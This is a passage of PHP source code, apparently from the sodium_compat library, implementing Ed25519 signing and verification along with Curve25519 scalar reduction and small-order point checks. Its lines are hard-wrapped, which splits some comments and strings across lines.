            (int) (0xff & (($s2 >> 14) | $s3 << 7)),
            (int) (0xff & ($s3 >> 1)),
            (int) (0xff & ($s3 >> 9)),
            (int) (0xff & (($s3 >> 17) | $s4 << 4)),
            (int) (0xff & ($s4 >> 4)),
            (int) (0xff & ($s4 >> 12)),
            (int) (0xff & (($s4 >> 20) | $s5 << 1)),
            (int) (0xff & ($s5 >> 7)),
            (int) (0xff & (($s5 >> 15) | $s6 << 6)),
            (int) (0xff & ($s6 >> 2)),
            (int) (0xff & ($s6 >> 10)),
            (int) (0xff & (($s6 >> 18) | $s7 << 3)),
            (int) (0xff & ($s7 >> 5)),
            (int) (0xff & ($s7 >> 13)),
            (int) (0xff & ($s8 >> 0)),
            (int) (0xff & ($s8 >> 8)),
            (int) (0xff & (($s8 >> 16) | $s9 << 5)),
            (int) (0xff & ($s9 >> 3)),
            (int) (0xff & ($s9 >> 11)),
            (int) (0xff & (($s9 >> 19) | $s10 << 2)),
            (int) (0xff & ($s10 >> 6)),
            (int) (0xff & (($s10 >> 14) | $s11 << 7)),
            (int) (0xff & ($s11 >> 1)),
            (int) (0xff & ($s11 >> 9)),
            0xff & ($s11 >> 17)
        );
        return self::intArrayToString($arr);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return string
     * @throws TypeError
     */
    public static function sc_reduce($s)
    {
        /** @var int $s0 */
        $s0 = 2097151 & self::load_3(self::substr($s, 0, 3));
        /** @var int $s1 */
        $s1 = 2097151 & (self::load_4(self::substr($s, 2, 4)) >>
5);
        /** @var int $s2 */
        $s2 = 2097151 & (self::load_3(self::substr($s, 5, 3)) >>
2);
        /** @var int $s3 */
        $s3 = 2097151 & (self::load_4(self::substr($s, 7, 4)) >>
7);
        /** @var int $s4 */
        $s4 = 2097151 & (self::load_4(self::substr($s, 10, 4)) >>
4);
        /** @var int $s5 */
        $s5 = 2097151 & (self::load_3(self::substr($s, 13, 3)) >>
1);
        /** @var int $s6 */
        $s6 = 2097151 & (self::load_4(self::substr($s, 15, 4)) >>
6);
        /** @var int $s7 */
        $s7 = 2097151 & (self::load_3(self::substr($s, 18, 4)) >>
3);
        /** @var int $s8 */
        $s8 = 2097151 & self::load_3(self::substr($s, 21, 3));
        /** @var int $s9 */
        $s9 = 2097151 & (self::load_4(self::substr($s, 23, 4)) >>
5);
        /** @var int $s10 */
        $s10 = 2097151 & (self::load_3(self::substr($s, 26, 3))
>> 2);
        /** @var int $s11 */
        $s11 = 2097151 & (self::load_4(self::substr($s, 28, 4))
>> 7);
        /** @var int $s12 */
        $s12 = 2097151 & (self::load_4(self::substr($s, 31, 4))
>> 4);
        /** @var int $s13 */
        $s13 = 2097151 & (self::load_3(self::substr($s, 34, 3))
>> 1);
        /** @var int $s14 */
        $s14 = 2097151 & (self::load_4(self::substr($s, 36, 4))
>> 6);
        /** @var int $s15 */
        $s15 = 2097151 & (self::load_3(self::substr($s, 39, 4))
>> 3);
        /** @var int $s16 */
        $s16 = 2097151 & self::load_3(self::substr($s, 42, 3));
        /** @var int $s17 */
        $s17 = 2097151 & (self::load_4(self::substr($s, 44, 4))
>> 5);
        /** @var int $s18 */
        $s18 = 2097151 & (self::load_3(self::substr($s, 47, 3))
>> 2);
        /** @var int $s19 */
        $s19 = 2097151 & (self::load_4(self::substr($s, 49, 4))
>> 7);
        /** @var int $s20 */
        $s20 = 2097151 & (self::load_4(self::substr($s, 52, 4))
>> 4);
        /** @var int $s21 */
        $s21 = 2097151 & (self::load_3(self::substr($s, 55, 3))
>> 1);
        /** @var int $s22 */
        $s22 = 2097151 & (self::load_4(self::substr($s, 57, 4))
>> 6);
        /** @var int $s23 */
        $s23 = (self::load_4(self::substr($s, 60, 4)) >> 3);

        $s11 += self::mul($s23,  666643, 20);
        $s12 += self::mul($s23,  470296, 19);
        $s13 += self::mul($s23,  654183, 20);
        $s14 -= self::mul($s23,  997805, 20);
        $s15 += self::mul($s23,  136657, 18);
        $s16 -= self::mul($s23,  683901, 20);

        $s10 += self::mul($s22,  666643, 20);
        $s11 += self::mul($s22,  470296, 19);
        $s12 += self::mul($s22,  654183, 20);
        $s13 -= self::mul($s22,  997805, 20);
        $s14 += self::mul($s22,  136657, 18);
        $s15 -= self::mul($s22,  683901, 20);

        $s9  += self::mul($s21,  666643, 20);
        $s10 += self::mul($s21,  470296, 19);
        $s11 += self::mul($s21,  654183, 20);
        $s12 -= self::mul($s21,  997805, 20);
        $s13 += self::mul($s21,  136657, 18);
        $s14 -= self::mul($s21,  683901, 20);

        $s8  += self::mul($s20,  666643, 20);
        $s9  += self::mul($s20,  470296, 19);
        $s10 += self::mul($s20,  654183, 20);
        $s11 -= self::mul($s20,  997805, 20);
        $s12 += self::mul($s20,  136657, 18);
        $s13 -= self::mul($s20,  683901, 20);

        $s7  += self::mul($s19,  666643, 20);
        $s8  += self::mul($s19,  470296, 19);
        $s9  += self::mul($s19,  654183, 20);
        $s10 -= self::mul($s19,  997805, 20);
        $s11 += self::mul($s19,  136657, 18);
        $s12 -= self::mul($s19,  683901, 20);

        $s6  += self::mul($s18,  666643, 20);
        $s7  += self::mul($s18,  470296, 19);
        $s8  += self::mul($s18,  654183, 20);
        $s9  -= self::mul($s18,  997805, 20);
        $s10 += self::mul($s18,  136657, 18);
        $s11 -= self::mul($s18,  683901, 20);

        /** @var int $carry6 */
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry8 */
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry10 */
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        /** @var int $carry12 */
        $carry12 = ($s12 + (1 << 20)) >> 21;
        $s13 += $carry12;
        $s12 -= $carry12 << 21;
        /** @var int $carry14 */
        $carry14 = ($s14 + (1 << 20)) >> 21;
        $s15 += $carry14;
        $s14 -= $carry14 << 21;
        /** @var int $carry16 */
        $carry16 = ($s16 + (1 << 20)) >> 21;
        $s17 += $carry16;
        $s16 -= $carry16 << 21;

        /** @var int $carry7 */
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry9 */
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry11 */
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;
        /** @var int $carry13 */
        $carry13 = ($s13 + (1 << 20)) >> 21;
        $s14 += $carry13;
        $s13 -= $carry13 << 21;
        /** @var int $carry15 */
        $carry15 = ($s15 + (1 << 20)) >> 21;
        $s16 += $carry15;
        $s15 -= $carry15 << 21;

        $s5  += self::mul($s17,  666643, 20);
        $s6  += self::mul($s17,  470296, 19);
        $s7  += self::mul($s17,  654183, 20);
        $s8  -= self::mul($s17,  997805, 20);
        $s9  += self::mul($s17,  136657, 18);
        $s10 -= self::mul($s17,  683901, 20);

        $s4 += self::mul($s16,  666643, 20);
        $s5 += self::mul($s16,  470296, 19);
        $s6 += self::mul($s16,  654183, 20);
        $s7 -= self::mul($s16,  997805, 20);
        $s8 += self::mul($s16,  136657, 18);
        $s9 -= self::mul($s16,  683901, 20);

        $s3 += self::mul($s15,  666643, 20);
        $s4 += self::mul($s15,  470296, 19);
        $s5 += self::mul($s15,  654183, 20);
        $s6 -= self::mul($s15,  997805, 20);
        $s7 += self::mul($s15,  136657, 18);
        $s8 -= self::mul($s15,  683901, 20);

        $s2 += self::mul($s14,  666643, 20);
        $s3 += self::mul($s14,  470296, 19);
        $s4 += self::mul($s14,  654183, 20);
        $s5 -= self::mul($s14,  997805, 20);
        $s6 += self::mul($s14,  136657, 18);
        $s7 -= self::mul($s14,  683901, 20);

        $s1 += self::mul($s13,  666643, 20);
        $s2 += self::mul($s13,  470296, 19);
        $s3 += self::mul($s13,  654183, 20);
        $s4 -= self::mul($s13,  997805, 20);
        $s5 += self::mul($s13,  136657, 18);
        $s6 -= self::mul($s13,  683901, 20);

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        /** @var int $carry0 */
        $carry0 = ($s0 + (1 << 20)) >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry2 */
        $carry2 = ($s2 + (1 << 20)) >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry4 */
        $carry4 = ($s4 + (1 << 20)) >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry6 */
        $carry6 = ($s6 + (1 << 20)) >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry8 */
        $carry8 = ($s8 + (1 << 20)) >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry10 */
        $carry10 = ($s10 + (1 << 20)) >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /** @var int $carry1 */
        $carry1 = ($s1 + (1 << 20)) >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry3 */
        $carry3 = ($s3 + (1 << 20)) >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry5 */
        $carry5 = ($s5 + (1 << 20)) >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry7 */
        $carry7 = ($s7 + (1 << 20)) >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry9 */
        $carry9 = ($s9 + (1 << 20)) >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry11 */
        $carry11 = ($s11 + (1 << 20)) >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);
        $s12 = 0;

        /** @var int $carry0 */
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry1 */
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry2 */
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry3 */
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry4 */
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry5 */
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry6 */
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry7 */
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry8 */
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry9 */
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry10 */
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;
        /** @var int $carry11 */
        $carry11 = $s11 >> 21;
        $s12 += $carry11;
        $s11 -= $carry11 << 21;

        $s0 += self::mul($s12,  666643, 20);
        $s1 += self::mul($s12,  470296, 19);
        $s2 += self::mul($s12,  654183, 20);
        $s3 -= self::mul($s12,  997805, 20);
        $s4 += self::mul($s12,  136657, 18);
        $s5 -= self::mul($s12,  683901, 20);

        /** @var int $carry0 */
        $carry0 = $s0 >> 21;
        $s1 += $carry0;
        $s0 -= $carry0 << 21;
        /** @var int $carry1 */
        $carry1 = $s1 >> 21;
        $s2 += $carry1;
        $s1 -= $carry1 << 21;
        /** @var int $carry2 */
        $carry2 = $s2 >> 21;
        $s3 += $carry2;
        $s2 -= $carry2 << 21;
        /** @var int $carry3 */
        $carry3 = $s3 >> 21;
        $s4 += $carry3;
        $s3 -= $carry3 << 21;
        /** @var int $carry4 */
        $carry4 = $s4 >> 21;
        $s5 += $carry4;
        $s4 -= $carry4 << 21;
        /** @var int $carry5 */
        $carry5 = $s5 >> 21;
        $s6 += $carry5;
        $s5 -= $carry5 << 21;
        /** @var int $carry6 */
        $carry6 = $s6 >> 21;
        $s7 += $carry6;
        $s6 -= $carry6 << 21;
        /** @var int $carry7 */
        $carry7 = $s7 >> 21;
        $s8 += $carry7;
        $s7 -= $carry7 << 21;
        /** @var int $carry8 */
        $carry8 = $s8 >> 21;
        $s9 += $carry8;
        $s8 -= $carry8 << 21;
        /** @var int $carry9 */
        $carry9 = $s9 >> 21;
        $s10 += $carry9;
        $s9 -= $carry9 << 21;
        /** @var int $carry10 */
        $carry10 = $s10 >> 21;
        $s11 += $carry10;
        $s10 -= $carry10 << 21;

        /**
         * @var array<int, int>
         */
        $arr = array(
            (int) ($s0 >> 0),
            (int) ($s0 >> 8),
            (int) (($s0 >> 16) | $s1 << 5),
            (int) ($s1 >> 3),
            (int) ($s1 >> 11),
            (int) (($s1 >> 19) | $s2 << 2),
            (int) ($s2 >> 6),
            (int) (($s2 >> 14) | $s3 << 7),
            (int) ($s3 >> 1),
            (int) ($s3 >> 9),
            (int) (($s3 >> 17) | $s4 << 4),
            (int) ($s4 >> 4),
            (int) ($s4 >> 12),
            (int) (($s4 >> 20) | $s5 << 1),
            (int) ($s5 >> 7),
            (int) (($s5 >> 15) | $s6 << 6),
            (int) ($s6 >> 2),
            (int) ($s6 >> 10),
            (int) (($s6 >> 18) | $s7 << 3),
            (int) ($s7 >> 5),
            (int) ($s7 >> 13),
            (int) ($s8 >> 0),
            (int) ($s8 >> 8),
            (int) (($s8 >> 16) | $s9 << 5),
            (int) ($s9 >> 3),
            (int) ($s9 >> 11),
            (int) (($s9 >> 19) | $s10 << 2),
            (int) ($s10 >> 6),
            (int) (($s10 >> 14) | $s11 << 7),
            (int) ($s11 >> 1),
            (int) ($s11 >> 9),
            (int) $s11 >> 17
        );
        return self::intArrayToString($arr);
    }

    /**
     * multiply by the order of the main subgroup l =
2^252+27742317777372353535851937790883648493
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A
     * @return ParagonIE_Sodium_Core_Curve25519_Ge_P3
     */
    public static function ge_mul_l(ParagonIE_Sodium_Core_Curve25519_Ge_P3
$A)
    {
        /** @var array<int, int> $aslide */
        $aslide = array(
            13, 0, 0, 0, 0, -1, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, -5, 0,
0, 0,
            0, 0, 0, -3, 0, 0, 0, 0, -13, 0, 0, 0, 0, 7, 0, 0, 0, 0, 0, 3,
0,
            0, 0, 0, -13, 0, 0, 0, 0, 5, 0, 0, 0, 0, 0, 0, 0, 0, 11, 0, 0,
0,
            0, 0, 11, 0, 0, 0, 0, -13, 0, 0, 0, 0, 0, 0, -3, 0, 0, 0, 0, 0,
-1,
            0, 0, 0, 0, 3, 0, 0, 0, 0, -11, 0, 0, 0, 0, 0, 0, 0, 15, 0, 0,
0,
            0, 0, -1, 0, 0, 0, 0, -1, 0, 0, 0, 0, 7, 0, 0, 0, 0, 5, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0,
            0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1
        );

        /** @var array<int,
ParagonIE_Sodium_Core_Curve25519_Ge_Cached> $Ai size 8 */
        $Ai = array();

        # ge_p3_to_cached(&Ai[0], A);
        $Ai[0] = self::ge_p3_to_cached($A);
        # ge_p3_dbl(&t, A);
        $t = self::ge_p3_dbl($A);
        # ge_p1p1_to_p3(&A2, &t);
        $A2 = self::ge_p1p1_to_p3($t);

        for ($i = 1; $i < 8; ++$i) {
            # ge_add(&t, &A2, &Ai[0]);
            $t = self::ge_add($A2, $Ai[$i - 1]);
            # ge_p1p1_to_p3(&u, &t);
            $u = self::ge_p1p1_to_p3($t);
            # ge_p3_to_cached(&Ai[i], &u);
            $Ai[$i] = self::ge_p3_to_cached($u);
        }

        $r = self::ge_p3_0();
        for ($i = 252; $i >= 0; --$i) {
            $t = self::ge_p3_dbl($r);
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_add(&t, &u, &Ai[aslide[i] / 2]);
                $t = self::ge_add($u, $Ai[(int)($aslide[$i] / 2)]);
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u, &t);
                $u = self::ge_p1p1_to_p3($t);
                # ge_sub(&t, &u, &Ai[(-aslide[i]) / 2]);
                $t = self::ge_sub($u, $Ai[(int)(-$aslide[$i] / 2)]);
            }
        }

        # ge_p1p1_to_p3(r, &t);
        return self::ge_p1p1_to_p3($t);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_Ed25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_Ed25519
 */
abstract class ParagonIE_Sodium_Core_Ed25519 extends
ParagonIE_Sodium_Core_Curve25519
{
    const KEYPAIR_BYTES = 96;
    const SEED_BYTES = 32;

    /**
     * @internal You should not use this directly from another application
     *
     * @return string (96 bytes)
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function keypair()
    {
        $seed = random_bytes(self::SEED_BYTES);
        $pk = '';
        $sk = '';
        self::seed_keypair($pk, $sk, $seed);
        return $sk . $pk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $pk
     * @param string $sk
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function seed_keypair(&$pk, &$sk, $seed)
    {
        if (self::strlen($seed) !== self::SEED_BYTES) {
            throw new RangeException('crypto_sign keypair seed must be
32 bytes long');
        }

        /** @var string $pk */
        $pk = self::publickey_from_secretkey($seed);
        $sk = $seed . $pk;
        return $sk;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function secretkey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96
bytes long');
        }
        return self::substr($keypair, 0, 64);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $keypair
     * @return string
     * @throws TypeError
     */
    public static function publickey($keypair)
    {
        if (self::strlen($keypair) !== self::KEYPAIR_BYTES) {
            throw new RangeException('crypto_sign keypair must be 96
bytes long');
        }
        return self::substr($keypair, 64, 32);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function publickey_from_secretkey($sk)
    {
        /** @var string $sk */
        $sk = hash('sha512', self::substr($sk, 0, 32), true);
        $sk[0] = self::intToChr(
            self::chrToInt($sk[0]) & 248
        );
        $sk[31] = self::intToChr(
            (self::chrToInt($sk[31]) & 63) | 64
        );
        return self::sk_to_pk($sk);
    }

    /**
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pk_to_curve25519($pk)
    {
        if (self::small_order($pk)) {
            throw new SodiumException('Public key is on a small
order');
        }
        $A = self::ge_frombytes_negate_vartime(self::substr($pk, 0, 32));
        $p1 = self::ge_mul_l($A);
        if (!self::fe_isnonzero($p1->X)) {
            throw new SodiumException('Unexpected zero result');
        }

        # fe_1(one_minus_y);
        # fe_sub(one_minus_y, one_minus_y, A.Y);
        # fe_invert(one_minus_y, one_minus_y);
        $one_minux_y = self::fe_invert(
            self::fe_sub(
                self::fe_1(),
                $A->Y
            )
        );

        # fe_1(x);
        # fe_add(x, x, A.Y);
        # fe_mul(x, x, one_minus_y);
        $x = self::fe_mul(
            self::fe_add(self::fe_1(), $A->Y),
            $one_minux_y
        );

        # fe_tobytes(curve25519_pk, x);
        return self::fe_tobytes($x);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sk_to_pk($sk)
    {
        return self::ge_p3_tobytes(
            self::ge_scalarmult_base(
                self::substr($sk, 0, 32)
            )
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign($message, $sk)
    {
        /** @var string $signature */
        $signature = self::sign_detached($message, $sk);
        return $signature . $message;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message A signed message
     * @param string $pk      Public key
     * @return string         Message (without signature)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_open($message, $pk)
    {
        /** @var string $signature */
        $signature = self::substr($message, 0, 64);

        /** @var string $message */
        $message = self::substr($message, 64);

        if (self::verify_detached($signature, $message, $pk)) {
            return $message;
        }
        throw new SodiumException('Invalid signature');
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sign_detached($message, $sk)
    {
        # crypto_hash_sha512(az, sk, 32);
        $az =  hash('sha512', self::substr($sk, 0, 32), true);

        # az[0] &= 248;
        # az[31] &= 63;
        # az[31] |= 64;
        $az[0] = self::intToChr(self::chrToInt($az[0]) & 248);
        $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64);

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, az + 32, 32);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, nonce);
        $hs = hash_init('sha512');
        hash_update($hs, self::substr($az, 32, 32));
        hash_update($hs, $message);
        $nonceHash = hash_final($hs, true);

        # memmove(sig + 32, sk + 32, 32);
        $pk = self::substr($sk, 32, 32);

        # sc_reduce(nonce);
        # ge_scalarmult_base(&R, nonce);
        # ge_p3_tobytes(sig, &R);
        $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash,
32);
        $sig = self::ge_p3_tobytes(
            self::ge_scalarmult_base($nonce)
        );

        # crypto_hash_sha512_init(&hs);
        # crypto_hash_sha512_update(&hs, sig, 64);
        # crypto_hash_sha512_update(&hs, m, mlen);
        # crypto_hash_sha512_final(&hs, hram);
        $hs = hash_init('sha512');
        hash_update($hs, self::substr($sig, 0, 32));
        hash_update($hs, self::substr($pk, 0, 32));
        hash_update($hs, $message);
        $hramHash = hash_final($hs, true);

        # sc_reduce(hram);
        # sc_muladd(sig + 32, hram, az, nonce);
        $hram = self::sc_reduce($hramHash);
        $sigAfter = self::sc_muladd($hram, $az, $nonce);
        $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32);

        try {
            ParagonIE_Sodium_Compat::memzero($az);
        } catch (SodiumException $ex) {
            $az = null;
        }
        return $sig;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $sig
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function verify_detached($sig, $message, $pk)
    {
        if (self::strlen($sig) < 64) {
            throw new SodiumException('Signature is too short');
        }
        if (self::check_S_lt_L(self::substr($sig, 32, 32))) {
            throw new SodiumException('S < L - Invalid
signature');
        }
        if (self::small_order($sig)) {
            throw new SodiumException('Signature is on too small of an
order');
        }
        if ((self::chrToInt($sig[63]) & 224) !== 0) {
            throw new SodiumException('Invalid signature');
        }
        $d = 0;
        for ($i = 0; $i < 32; ++$i) {
            $d |= self::chrToInt($pk[$i]);
        }
        if ($d === 0) {
            throw new SodiumException('All zero public key');
        }

        /** @var bool The original value of
ParagonIE_Sodium_Compat::$fastMult */
        $orig = ParagonIE_Sodium_Compat::$fastMult;

        // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up
verification.
        ParagonIE_Sodium_Compat::$fastMult = true;

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P3 $A */
        $A = self::ge_frombytes_negate_vartime($pk);

        /** @var string $hDigest */
        $hDigest = hash(
            'sha512',
            self::substr($sig, 0, 32) .
                self::substr($pk, 0, 32) .
                $message,
            true
        );

        /** @var string $h */
        $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32);

        /** @var ParagonIE_Sodium_Core_Curve25519_Ge_P2 $R */
        $R = self::ge_double_scalarmult_vartime(
            $h,
            $A,
            self::substr($sig, 32)
        );

        /** @var string $rcheck */
        $rcheck = self::ge_tobytes($R);

        // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before.
        ParagonIE_Sodium_Compat::$fastMult = $orig;

        return self::verify_32($rcheck, self::substr($sig, 0, 32));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $S
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function check_S_lt_L($S)
    {
        if (self::strlen($S) < 32) {
            throw new SodiumException('Signature must be 32
bytes');
        }
        $L = array(
            0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58,
            0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10
        );
        $c = 0;
        $n = 1;
        $i = 32;

        /** @var array<int, int> $L */
        do {
            --$i;
            $x = self::chrToInt($S[$i]);
            $c |= (
                (($x - $L[$i]) >> 8) & $n
            );
            $n &= (
                (($x ^ $L[$i]) - 1) >> 8
            );
        } while ($i !== 0);

        return $c === 0;
    }

    /**
     * @param string $R
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function small_order($R)
    {
        /** @var array<int, array<int, int>> $blacklist */
        $blacklist = array(
            /* 0 (order 4) */
            array(
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /* 1 (order 1) */
            array(
                0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
            ),
            /*
2707385501144840649318225287225658788936804267575313519463743609750303402022
(order 8) */
            array(
                0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05
            ),
            /*
55188659117513257062467267217118295137698188065244968500265048394206261417927
(order 8) */
            array(
                0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a
            ),
            /* p-1 (order 2) */
            array(
                0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0,
                0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0,
                0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39,
                0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85
            ),
            /* p (order 4) */
            array(
                0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f,
                0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f,
                0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6,
                0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa
            ),
            /* p+1 (order 1) */
            array(
                0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f
            ),
            /*
p+2707385501144840649318225287225658788936804267575313519463743609750303402022
(order 8) */
            array(
                0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
                0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
